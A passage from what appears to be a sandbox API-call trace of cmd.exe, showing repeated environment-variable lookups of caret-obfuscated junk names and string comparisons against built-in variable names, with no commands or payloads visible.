(_String1="^6rH^Y", _String2="RANDOM") returned -20 [0085.287] _wcsicmp (_String1="^6rH^Y", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.287] GetEnvironmentVariableW (in: lpName="^CY", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.287] _wcsicmp (_String1="^CY", _String2="CD") returned -5 [0085.287] _wcsicmp (_String1="^CY", _String2="ERRORLEVEL") returned -7 [0085.287] _wcsicmp (_String1="^CY", _String2="CMDEXTVERSION") returned -5 [0085.288] _wcsicmp (_String1="^CY", _String2="CMDCMDLINE") returned -5 [0085.288] _wcsicmp (_String1="^CY", _String2="DATE") returned -6 [0085.288] _wcsicmp (_String1="^CY", _String2="TIME") returned -22 [0085.288] _wcsicmp (_String1="^CY", _String2="RANDOM") returned -20 [0085.288] _wcsicmp (_String1="^CY", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.288] GetEnvironmentVariableW (in: lpName="^M^t", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.288] _wcsicmp (_String1="^M^t", _String2="CD") returned -5 [0085.288] _wcsicmp (_String1="^M^t", _String2="ERRORLEVEL") returned -7 [0085.288] _wcsicmp (_String1="^M^t", _String2="CMDEXTVERSION") returned -5 [0085.288] _wcsicmp (_String1="^M^t", _String2="CMDCMDLINE") returned -5 [0085.288] _wcsicmp (_String1="^M^t", _String2="DATE") returned -6 [0085.288] _wcsicmp (_String1="^M^t", _String2="TIME") returned -22 [0085.288] _wcsicmp (_String1="^M^t", _String2="RANDOM") returned -20 [0085.288] _wcsicmp (_String1="^M^t", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.288] GetEnvironmentVariableW (in: lpName="Ea^u", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.288] _wcsicmp (_String1="Ea^u", _String2="CD") returned 2 [0085.288] _wcsicmp (_String1="Ea^u", _String2="ERRORLEVEL") returned -17 [0085.288] _wcsicmp (_String1="Ea^u", _String2="CMDEXTVERSION") returned 2 [0085.288] _wcsicmp (_String1="Ea^u", _String2="CMDCMDLINE") returned 2 [0085.288] _wcsicmp (_String1="Ea^u", _String2="DATE") returned 1 [0085.290] _wcsicmp (_String1="Ea^u", _String2="TIME") returned -15 [0085.290] _wcsicmp (_String1="Ea^u", _String2="RANDOM") returned -13 [0085.290] _wcsicmp (_String1="Ea^u", _String2="HIGHESTNUMANODENUMBER") returned -3 [0085.290] GetEnvironmentVariableW (in: lpName="Eh", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.290] _wcsicmp (_String1="Eh", _String2="CD") returned 2 [0085.290] _wcsicmp (_String1="Eh", _String2="ERRORLEVEL") returned -10 [0085.290] _wcsicmp (_String1="Eh", _String2="CMDEXTVERSION") returned 2 [0085.290] _wcsicmp (_String1="Eh", _String2="CMDCMDLINE") returned 2 [0085.291] _wcsicmp (_String1="Eh", _String2="DATE") returned 1 [0085.291] _wcsicmp (_String1="Eh", _String2="TIME") returned -15 [0085.291] _wcsicmp (_String1="Eh", _String2="RANDOM") returned -13 [0085.291] _wcsicmp (_String1="Eh", _String2="HIGHESTNUMANODENUMBER") returned -3 [0085.291] GetEnvironmentVariableW (in: lpName="e^q", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.291] _wcsicmp (_String1="e^q", _String2="CD") returned 2 [0085.291] _wcsicmp (_String1="e^q", _String2="ERRORLEVEL") returned -20 [0085.291] _wcsicmp (_String1="e^q", _String2="CMDEXTVERSION") returned 2 [0085.291] _wcsicmp (_String1="e^q", _String2="CMDCMDLINE") returned 2 [0085.291] _wcsicmp (_String1="e^q", _String2="DATE") returned 1 [0085.291] _wcsicmp (_String1="e^q", _String2="TIME") returned -15 [0085.291] _wcsicmp (_String1="e^q", _String2="RANDOM") returned -13 [0085.291] _wcsicmp (_String1="e^q", _String2="HIGHESTNUMANODENUMBER") returned -3 [0085.291] GetEnvironmentVariableW (in: lpName="^Je", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.291] _wcsicmp (_String1="^Je", _String2="CD") returned -5 [0085.291] _wcsicmp (_String1="^Je", _String2="ERRORLEVEL") returned -7 [0085.291] _wcsicmp (_String1="^Je", _String2="CMDEXTVERSION") returned -5 [0085.291] _wcsicmp (_String1="^Je", _String2="CMDCMDLINE") returned -5 [0085.291] _wcsicmp (_String1="^Je", _String2="DATE") returned -6 [0085.291] _wcsicmp (_String1="^Je", _String2="TIME") returned -22 [0085.291] _wcsicmp (_String1="^Je", _String2="RANDOM") returned -20 [0085.291] _wcsicmp (_String1="^Je", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.291] GetEnvironmentVariableW (in: lpName="q^2", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.291] _wcsicmp (_String1="q^2", _String2="CD") returned 14 [0085.291] _wcsicmp (_String1="q^2", _String2="ERRORLEVEL") returned 12 [0085.291] _wcsicmp (_String1="q^2", _String2="CMDEXTVERSION") returned 14 [0085.291] _wcsicmp (_String1="q^2", _String2="CMDCMDLINE") returned 14 [0085.291] _wcsicmp (_String1="q^2", _String2="DATE") returned 13 [0085.292] _wcsicmp (_String1="q^2", _String2="TIME") returned -3 [0085.292] _wcsicmp (_String1="q^2", _String2="RANDOM") returned -1 [0085.292] _wcsicmp (_String1="q^2", _String2="HIGHESTNUMANODENUMBER") returned 9 [0085.292] GetEnvironmentVariableW (in: lpName="^xm", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.292] _wcsicmp (_String1="^xm", _String2="CD") returned -5 [0085.292] _wcsicmp (_String1="^xm", _String2="ERRORLEVEL") returned -7 [0085.292] _wcsicmp (_String1="^xm", _String2="CMDEXTVERSION") returned -5 [0085.292] _wcsicmp (_String1="^xm", _String2="CMDCMDLINE") returned -5 [0085.292] _wcsicmp (_String1="^xm", _String2="DATE") returned -6 [0085.292] _wcsicmp (_String1="^xm", _String2="TIME") returned -22 [0085.292] _wcsicmp (_String1="^xm", _String2="RANDOM") returned -20 [0085.292] _wcsicmp (_String1="^xm", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.292] GetEnvironmentVariableW (in: lpName="Co^Jf", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.293] _wcsicmp (_String1="Co^Jf", _String2="CD") returned 11 [0085.293] _wcsicmp (_String1="Co^Jf", _String2="ERRORLEVEL") returned -2 [0085.293] _wcsicmp (_String1="Co^Jf", _String2="CMDEXTVERSION") returned 2 [0085.293] _wcsicmp (_String1="Co^Jf", _String2="CMDCMDLINE") returned 2 [0085.293] _wcsicmp (_String1="Co^Jf", _String2="DATE") returned -1 [0085.293] _wcsicmp (_String1="Co^Jf", _String2="TIME") returned -17 [0085.293] _wcsicmp (_String1="Co^Jf", _String2="RANDOM") returned -15 [0085.293] _wcsicmp (_String1="Co^Jf", _String2="HIGHESTNUMANODENUMBER") returned -5 [0085.293] GetEnvironmentVariableW (in: lpName="z^R", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.293] _wcsicmp (_String1="z^R", _String2="CD") returned 23 [0085.293] _wcsicmp (_String1="z^R", _String2="ERRORLEVEL") returned 21 [0085.293] _wcsicmp (_String1="z^R", _String2="CMDEXTVERSION") returned 23 [0085.293] _wcsicmp (_String1="z^R", _String2="CMDCMDLINE") returned 23 [0085.293] _wcsicmp (_String1="z^R", _String2="DATE") returned 22 [0085.293] _wcsicmp (_String1="z^R", _String2="TIME") returned 6 [0085.293] _wcsicmp (_String1="z^R", _String2="RANDOM") returned 8 [0085.293] _wcsicmp (_String1="z^R", _String2="HIGHESTNUMANODENUMBER") returned 18 [0085.293] GetEnvironmentVariableW (in: lpName="HJ^VR", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.293] _wcsicmp (_String1="HJ^VR", _String2="CD") returned 5 [0085.293] _wcsicmp (_String1="HJ^VR", _String2="ERRORLEVEL") returned 3 [0085.293] _wcsicmp (_String1="HJ^VR", _String2="CMDEXTVERSION") returned 5 [0085.293] _wcsicmp (_String1="HJ^VR", _String2="CMDCMDLINE") returned 5 [0085.293] _wcsicmp (_String1="HJ^VR", _String2="DATE") returned 4 [0085.293] _wcsicmp (_String1="HJ^VR", _String2="TIME") returned -12 [0085.293] _wcsicmp (_String1="HJ^VR", _String2="RANDOM") returned -10 [0085.293] _wcsicmp (_String1="HJ^VR", _String2="HIGHESTNUMANODENUMBER") returned 1 [0085.294] GetEnvironmentVariableW (in: lpName="m^Lwq", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.294] _wcsicmp (_String1="m^Lwq", _String2="CD") returned 10 [0085.294] _wcsicmp (_String1="m^Lwq", _String2="ERRORLEVEL") returned 8 [0085.294] _wcsicmp (_String1="m^Lwq", _String2="CMDEXTVERSION") returned 10 [0085.294] _wcsicmp (_String1="m^Lwq", _String2="CMDCMDLINE") returned 10 [0085.294] _wcsicmp (_String1="m^Lwq", _String2="DATE") returned 9 [0085.294] _wcsicmp (_String1="m^Lwq", _String2="TIME") returned -7 [0085.294] _wcsicmp (_String1="m^Lwq", _String2="RANDOM") returned -5 [0085.294] _wcsicmp (_String1="m^Lwq", _String2="HIGHESTNUMANODENUMBER") returned 5 [0085.294] GetEnvironmentVariableW (in: lpName="^lPo", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.294] _wcsicmp (_String1="^lPo", _String2="CD") returned -5 [0085.294] _wcsicmp (_String1="^lPo", _String2="ERRORLEVEL") returned -7 [0085.294] _wcsicmp (_String1="^lPo", _String2="CMDEXTVERSION") returned -5 [0085.294] _wcsicmp (_String1="^lPo", _String2="CMDCMDLINE") returned -5 [0085.294] _wcsicmp (_String1="^lPo", _String2="DATE") returned -6 [0085.294] _wcsicmp (_String1="^lPo", _String2="TIME") returned -22 [0085.294] _wcsicmp (_String1="^lPo", _String2="RANDOM") returned -20 [0085.294] _wcsicmp (_String1="^lPo", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.294] GetEnvironmentVariableW (in: lpName="^i8T3", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.294] _wcsicmp (_String1="^i8T3", _String2="CD") returned -5 [0085.294] _wcsicmp (_String1="^i8T3", _String2="ERRORLEVEL") returned -7 [0085.294] _wcsicmp (_String1="^i8T3", _String2="CMDEXTVERSION") returned -5 [0085.294] _wcsicmp (_String1="^i8T3", _String2="CMDCMDLINE") returned -5 [0085.294] _wcsicmp (_String1="^i8T3", _String2="DATE") returned -6 [0085.295] _wcsicmp (_String1="^i8T3", _String2="TIME") returned -22 [0085.295] _wcsicmp (_String1="^i8T3", _String2="RANDOM") returned -20 [0085.295] _wcsicmp (_String1="^i8T3", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.295] GetEnvironmentVariableW (in: lpName="^bn", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.297] _wcsicmp (_String1="^bn", _String2="CD") returned -5 [0085.297] _wcsicmp (_String1="^bn", _String2="ERRORLEVEL") returned -7 [0085.297] _wcsicmp (_String1="^bn", _String2="CMDEXTVERSION") returned -5 [0085.297] _wcsicmp (_String1="^bn", _String2="CMDCMDLINE") returned -5 [0085.297] _wcsicmp (_String1="^bn", _String2="DATE") returned -6 [0085.297] _wcsicmp (_String1="^bn", _String2="TIME") returned -22 [0085.297] _wcsicmp (_String1="^bn", _String2="RANDOM") returned -20 [0085.297] _wcsicmp (_String1="^bn", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.297] GetEnvironmentVariableW (in: lpName="^OZ", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.297] _wcsicmp (_String1="^OZ", _String2="CD") returned -5 [0085.297] _wcsicmp (_String1="^OZ", _String2="ERRORLEVEL") returned -7 [0085.297] _wcsicmp (_String1="^OZ", _String2="CMDEXTVERSION") returned -5 [0085.297] _wcsicmp (_String1="^OZ", _String2="CMDCMDLINE") returned -5 [0085.297] _wcsicmp (_String1="^OZ", _String2="DATE") returned -6 [0085.297] _wcsicmp (_String1="^OZ", _String2="TIME") returned -22 [0085.297] _wcsicmp (_String1="^OZ", _String2="RANDOM") returned -20 [0085.297] _wcsicmp (_String1="^OZ", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.297] GetEnvironmentVariableW (in: lpName="g^BQ", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.297] _wcsicmp (_String1="g^BQ", _String2="CD") returned 4 [0085.297] _wcsicmp (_String1="g^BQ", _String2="ERRORLEVEL") returned 2 [0085.298] _wcsicmp (_String1="g^BQ", _String2="CMDEXTVERSION") returned 4 [0085.298] _wcsicmp (_String1="g^BQ", _String2="CMDCMDLINE") returned 4 [0085.298] _wcsicmp (_String1="g^BQ", _String2="DATE") returned 3 [0085.298] _wcsicmp (_String1="g^BQ", _String2="TIME") returned -13 [0085.298] _wcsicmp (_String1="g^BQ", _String2="RANDOM") returned -11 [0085.298] _wcsicmp (_String1="g^BQ", _String2="HIGHESTNUMANODENUMBER") returned -1 [0085.298] GetEnvironmentVariableW (in: lpName="^I^r", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.298] _wcsicmp (_String1="^I^r", _String2="CD") returned -5 [0085.298] _wcsicmp (_String1="^I^r", _String2="ERRORLEVEL") returned -7 [0085.298] _wcsicmp (_String1="^I^r", _String2="CMDEXTVERSION") returned -5 [0085.298] _wcsicmp (_String1="^I^r", _String2="CMDCMDLINE") returned -5 [0085.298] _wcsicmp (_String1="^I^r", _String2="DATE") returned -6 [0085.298] _wcsicmp (_String1="^I^r", _String2="TIME") returned -22 [0085.298] _wcsicmp (_String1="^I^r", _String2="RANDOM") returned -20 [0085.298] _wcsicmp (_String1="^I^r", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.298] GetEnvironmentVariableW (in: lpName="D^vI", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.298] _wcsicmp (_String1="D^vI", _String2="CD") returned 1 [0085.298] _wcsicmp (_String1="D^vI", _String2="ERRORLEVEL") returned -1 [0085.298] _wcsicmp (_String1="D^vI", _String2="CMDEXTVERSION") returned 1 [0085.298] _wcsicmp (_String1="D^vI", _String2="CMDCMDLINE") returned 1 [0085.298] _wcsicmp (_String1="D^vI", _String2="DATE") returned -3 [0085.298] _wcsicmp (_String1="D^vI", _String2="TIME") returned -16 [0085.298] _wcsicmp (_String1="D^vI", _String2="RANDOM") returned -14 [0085.298] _wcsicmp (_String1="D^vI", _String2="HIGHESTNUMANODENUMBER") returned -4 [0085.298] GetEnvironmentVariableW (in: lpName="^VDG", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.298] _wcsicmp (_String1="^VDG", _String2="CD") returned -5 [0085.298] _wcsicmp (_String1="^VDG", _String2="ERRORLEVEL") returned -7 [0085.298] _wcsicmp (_String1="^VDG", _String2="CMDEXTVERSION") returned -5 [0085.299] _wcsicmp (_String1="^VDG", _String2="CMDCMDLINE") returned -5 [0085.299] _wcsicmp (_String1="^VDG", _String2="DATE") returned -6 [0085.299] _wcsicmp (_String1="^VDG", _String2="TIME") returned -22 [0085.299] _wcsicmp (_String1="^VDG", _String2="RANDOM") returned -20 [0085.299] _wcsicmp (_String1="^VDG", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.299] GetEnvironmentVariableW (in: lpName="J^V^w", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.299] _wcsicmp (_String1="J^V^w", _String2="CD") returned 7 [0085.299] _wcsicmp (_String1="J^V^w", _String2="ERRORLEVEL") returned 5 [0085.299] _wcsicmp (_String1="J^V^w", _String2="CMDEXTVERSION") returned 7 [0085.299] _wcsicmp (_String1="J^V^w", _String2="CMDCMDLINE") returned 7 [0085.299] _wcsicmp (_String1="J^V^w", _String2="DATE") returned 6 [0085.300] _wcsicmp (_String1="J^V^w", _String2="TIME") returned -10 [0085.300] _wcsicmp (_String1="J^V^w", _String2="RANDOM") returned -8 [0085.300] _wcsicmp (_String1="J^V^w", _String2="HIGHESTNUMANODENUMBER") returned 2 [0085.300] GetEnvironmentVariableW (in: lpName="uq^LY", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.301] _wcsicmp (_String1="uq^LY", _String2="CD") returned 18 [0085.301] _wcsicmp (_String1="uq^LY", _String2="ERRORLEVEL") returned 16 [0085.301] _wcsicmp (_String1="uq^LY", _String2="CMDEXTVERSION") returned 18 [0085.301] _wcsicmp (_String1="uq^LY", _String2="CMDCMDLINE") returned 18 [0085.301] _wcsicmp (_String1="uq^LY", _String2="DATE") returned 17 [0085.301] _wcsicmp (_String1="uq^LY", _String2="TIME") returned 1 [0085.301] _wcsicmp (_String1="uq^LY", _String2="RANDOM") returned 3 [0085.301] _wcsicmp (_String1="uq^LY", _String2="HIGHESTNUMANODENUMBER") returned 13 [0085.301] GetEnvironmentVariableW (in: lpName="l^V^p", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.301] _wcsicmp (_String1="l^V^p", _String2="CD") returned 9 [0085.301] _wcsicmp (_String1="l^V^p", _String2="ERRORLEVEL") returned 7 [0085.301] _wcsicmp (_String1="l^V^p", _String2="CMDEXTVERSION") returned 9 [0085.301] _wcsicmp (_String1="l^V^p", _String2="CMDCMDLINE") returned 9 [0085.301] _wcsicmp (_String1="l^V^p", _String2="DATE") returned 8 [0085.301] _wcsicmp (_String1="l^V^p", _String2="TIME") returned -8 [0085.301] _wcsicmp (_String1="l^V^p", _String2="RANDOM") returned -6 [0085.301] _wcsicmp (_String1="l^V^p", _String2="HIGHESTNUMANODENUMBER") returned 4 [0085.301] GetEnvironmentVariableW (in: lpName="G^U", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.301] _wcsicmp (_String1="G^U", _String2="CD") returned 4 [0085.301] _wcsicmp (_String1="G^U", _String2="ERRORLEVEL") returned 2 [0085.301] _wcsicmp (_String1="G^U", _String2="CMDEXTVERSION") returned 4 [0085.301] _wcsicmp (_String1="G^U", _String2="CMDCMDLINE") returned 4 [0085.301] _wcsicmp (_String1="G^U", _String2="DATE") returned 3 [0085.301] _wcsicmp (_String1="G^U", _String2="TIME") returned -13 [0085.302] _wcsicmp (_String1="G^U", _String2="RANDOM") returned -11 [0085.302] _wcsicmp (_String1="G^U", _String2="HIGHESTNUMANODENUMBER") returned -1 [0085.302] GetEnvironmentVariableW (in: lpName="LI", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.302] _wcsicmp (_String1="LI", _String2="CD") returned 9 [0085.302] _wcsicmp (_String1="LI", _String2="ERRORLEVEL") returned 7 [0085.302] _wcsicmp (_String1="LI", _String2="CMDEXTVERSION") returned 9 [0085.302] _wcsicmp (_String1="LI", _String2="CMDCMDLINE") returned 9 [0085.302] _wcsicmp (_String1="LI", _String2="DATE") returned 8 [0085.302] _wcsicmp (_String1="LI", _String2="TIME") returned -8 [0085.302] _wcsicmp (_String1="LI", _String2="RANDOM") returned -6 [0085.302] _wcsicmp (_String1="LI", _String2="HIGHESTNUMANODENUMBER") returned 4 [0085.302] GetEnvironmentVariableW (in: lpName="3^M^K^1", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.302] _wcsicmp (_String1="3^M^K^1", _String2="CD") returned -48 [0085.302] _wcsicmp (_String1="3^M^K^1", _String2="ERRORLEVEL") returned -50 [0085.302] _wcsicmp (_String1="3^M^K^1", _String2="CMDEXTVERSION") returned -48 [0085.302] _wcsicmp (_String1="3^M^K^1", _String2="CMDCMDLINE") returned -48 [0085.302] _wcsicmp (_String1="3^M^K^1", _String2="DATE") returned -49 [0085.302] _wcsicmp (_String1="3^M^K^1", _String2="TIME") returned -65 [0085.302] _wcsicmp (_String1="3^M^K^1", _String2="RANDOM") returned -63 [0085.302] _wcsicmp (_String1="3^M^K^1", _String2="HIGHESTNUMANODENUMBER") returned -53 [0085.302] GetEnvironmentVariableW (in: lpName="0^A", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.302] _wcsicmp (_String1="0^A", _String2="CD") returned -51 [0085.302] _wcsicmp (_String1="0^A", _String2="ERRORLEVEL") returned -53 [0085.302] _wcsicmp (_String1="0^A", _String2="CMDEXTVERSION") returned -51 [0085.302] _wcsicmp (_String1="0^A", _String2="CMDCMDLINE") returned -51 [0085.302] _wcsicmp (_String1="0^A", _String2="DATE") returned -52 [0085.302] _wcsicmp (_String1="0^A", _String2="TIME") returned -68 [0085.302] _wcsicmp (_String1="0^A", _String2="RANDOM") returned -66 [0085.303] _wcsicmp (_String1="0^A", _String2="HIGHESTNUMANODENUMBER") returned -56 [0085.303] GetEnvironmentVariableW (in: lpName="q^G", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.303] _wcsicmp (_String1="q^G", _String2="CD") returned 14 [0085.303] _wcsicmp (_String1="q^G", _String2="ERRORLEVEL") returned 12 [0085.303] _wcsicmp (_String1="q^G", _String2="CMDEXTVERSION") returned 14 [0085.303] _wcsicmp (_String1="q^G", _String2="CMDCMDLINE") returned 14 [0085.303] _wcsicmp (_String1="q^G", _String2="DATE") returned 13 [0085.303] _wcsicmp (_String1="q^G", _String2="TIME") returned -3 [0085.303] _wcsicmp (_String1="q^G", _String2="RANDOM") returned -1 [0085.303] _wcsicmp (_String1="q^G", _String2="HIGHESTNUMANODENUMBER") returned 9 [0085.303] GetEnvironmentVariableW (in: lpName="bO^q", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.303] _wcsicmp (_String1="bO^q", _String2="CD") returned -1 [0085.303] _wcsicmp (_String1="bO^q", _String2="ERRORLEVEL") returned -3 [0085.303] _wcsicmp (_String1="bO^q", _String2="CMDEXTVERSION") returned -1 [0085.303] _wcsicmp (_String1="bO^q", _String2="CMDCMDLINE") returned -1 [0085.303] _wcsicmp (_String1="bO^q", _String2="DATE") returned -2 [0085.303] _wcsicmp (_String1="bO^q", _String2="TIME") returned -18 [0085.303] _wcsicmp (_String1="bO^q", _String2="RANDOM") returned -16 [0085.303] _wcsicmp (_String1="bO^q", _String2="HIGHESTNUMANODENUMBER") returned -6 [0085.303] GetEnvironmentVariableW (in: lpName="^cI", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.303] _wcsicmp (_String1="^cI", _String2="CD") returned -5 [0085.303] _wcsicmp (_String1="^cI", _String2="ERRORLEVEL") returned -7 [0085.303] _wcsicmp (_String1="^cI", _String2="CMDEXTVERSION") returned -5 [0085.303] _wcsicmp (_String1="^cI", _String2="CMDCMDLINE") returned -5 [0085.303] _wcsicmp (_String1="^cI", _String2="DATE") returned -6 [0085.303] _wcsicmp (_String1="^cI", _String2="TIME") returned -22 [0085.303] _wcsicmp (_String1="^cI", _String2="RANDOM") returned -20 [0085.303] _wcsicmp (_String1="^cI", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.304] GetEnvironmentVariableW (in: lpName="X^j", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.304] _wcsicmp (_String1="X^j", _String2="CD") returned 21 [0085.304] _wcsicmp (_String1="X^j", _String2="ERRORLEVEL") returned 19 [0085.304] _wcsicmp (_String1="X^j", _String2="CMDEXTVERSION") returned 21 [0085.304] _wcsicmp (_String1="X^j", _String2="CMDCMDLINE") returned 21 [0085.304] _wcsicmp (_String1="X^j", _String2="DATE") returned 20 [0085.304] _wcsicmp (_String1="X^j", _String2="TIME") returned 4 [0085.304] _wcsicmp (_String1="X^j", _String2="RANDOM") returned 6 [0085.304] _wcsicmp (_String1="X^j", _String2="HIGHESTNUMANODENUMBER") returned 16 [0085.304] GetEnvironmentVariableW (in: lpName="^3R^Y", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.304] _wcsicmp (_String1="^3R^Y", _String2="CD") returned -5 [0085.304] _wcsicmp (_String1="^3R^Y", _String2="ERRORLEVEL") returned -7 [0085.304] _wcsicmp (_String1="^3R^Y", _String2="CMDEXTVERSION") returned -5 [0085.304] _wcsicmp (_String1="^3R^Y", _String2="CMDCMDLINE") returned -5 [0085.304] _wcsicmp (_String1="^3R^Y", _String2="DATE") returned -6 [0085.304] _wcsicmp (_String1="^3R^Y", _String2="TIME") returned -22 [0085.304] _wcsicmp (_String1="^3R^Y", _String2="RANDOM") returned -20 [0085.304] _wcsicmp (_String1="^3R^Y", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.304] GetEnvironmentVariableW (in: lpName="bI^He", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.304] _wcsicmp (_String1="bI^He", _String2="CD") returned -1 [0085.304] _wcsicmp (_String1="bI^He", _String2="ERRORLEVEL") returned -3 [0085.304] _wcsicmp (_String1="bI^He", _String2="CMDEXTVERSION") returned -1 [0085.304] _wcsicmp (_String1="bI^He", _String2="CMDCMDLINE") returned -1 [0085.304] _wcsicmp (_String1="bI^He", _String2="DATE") returned -2 [0085.304] _wcsicmp (_String1="bI^He", _String2="TIME") returned -18 [0085.304] _wcsicmp (_String1="bI^He", _String2="RANDOM") returned -16 [0085.304] _wcsicmp (_String1="bI^He", _String2="HIGHESTNUMANODENUMBER") returned -6 [0085.304] GetEnvironmentVariableW (in: lpName="^cOyd", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.305] _wcsicmp (_String1="^cOyd", _String2="CD") returned -5 [0085.305] _wcsicmp (_String1="^cOyd", _String2="ERRORLEVEL") returned -7 [0085.305] _wcsicmp (_String1="^cOyd", _String2="CMDEXTVERSION") returned -5 [0085.305] _wcsicmp (_String1="^cOyd", _String2="CMDCMDLINE") returned -5 [0085.305] _wcsicmp (_String1="^cOyd", _String2="DATE") returned -6 [0085.305] _wcsicmp (_String1="^cOyd", _String2="TIME") returned -22 [0085.305] _wcsicmp (_String1="^cOyd", _String2="RANDOM") returned -20 [0085.305] _wcsicmp (_String1="^cOyd", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.305] GetEnvironmentVariableW (in: lpName="^h^g", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.305] _wcsicmp (_String1="^h^g", _String2="CD") returned -5 [0085.305] _wcsicmp (_String1="^h^g", _String2="ERRORLEVEL") returned -7 [0085.305] _wcsicmp (_String1="^h^g", _String2="CMDEXTVERSION") returned -5 [0085.305] _wcsicmp (_String1="^h^g", _String2="CMDCMDLINE") returned -5 [0085.305] _wcsicmp (_String1="^h^g", _String2="DATE") returned -6 [0085.305] _wcsicmp (_String1="^h^g", _String2="TIME") returned -22 [0085.305] _wcsicmp (_String1="^h^g", _String2="RANDOM") returned -20 [0085.305] _wcsicmp (_String1="^h^g", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.305] GetEnvironmentVariableW (in: lpName="l^R", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.305] _wcsicmp (_String1="l^R", _String2="CD") returned 9 [0085.305] _wcsicmp (_String1="l^R", _String2="ERRORLEVEL") returned 7 [0085.305] _wcsicmp (_String1="l^R", _String2="CMDEXTVERSION") returned 9 [0085.305] _wcsicmp (_String1="l^R", _String2="CMDCMDLINE") returned 9 [0085.305] _wcsicmp (_String1="l^R", _String2="DATE") returned 8 [0085.305] _wcsicmp (_String1="l^R", _String2="TIME") returned -8 [0085.305] _wcsicmp (_String1="l^R", _String2="RANDOM") returned -6 [0085.305] _wcsicmp (_String1="l^R", _String2="HIGHESTNUMANODENUMBER") returned 4 [0085.305] GetEnvironmentVariableW (in: lpName="^dv", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.305] _wcsicmp (_String1="^dv", _String2="CD") returned -5 [0085.305] _wcsicmp (_String1="^dv", _String2="ERRORLEVEL") returned -7 [0085.306] _wcsicmp (_String1="^dv", _String2="CMDEXTVERSION") returned -5 [0085.306] _wcsicmp (_String1="^dv", _String2="CMDCMDLINE") returned -5 [0085.306] _wcsicmp (_String1="^dv", _String2="DATE") returned -6 [0085.306] _wcsicmp (_String1="^dv", _String2="TIME") returned -22 [0085.306] _wcsicmp (_String1="^dv", _String2="RANDOM") returned -20 [0085.306] _wcsicmp (_String1="^dv", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.306] GetEnvironmentVariableW (in: lpName="^rp", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.306] _wcsicmp (_String1="^rp", _String2="CD") returned -5 [0085.306] _wcsicmp (_String1="^rp", _String2="ERRORLEVEL") returned -7 [0085.306] _wcsicmp (_String1="^rp", _String2="CMDEXTVERSION") returned -5 [0085.306] _wcsicmp (_String1="^rp", _String2="CMDCMDLINE") returned -5 [0085.306] _wcsicmp (_String1="^rp", _String2="DATE") returned -6 [0085.306] _wcsicmp (_String1="^rp", _String2="TIME") returned -22 [0085.306] _wcsicmp (_String1="^rp", _String2="RANDOM") returned -20 [0085.306] _wcsicmp (_String1="^rp", 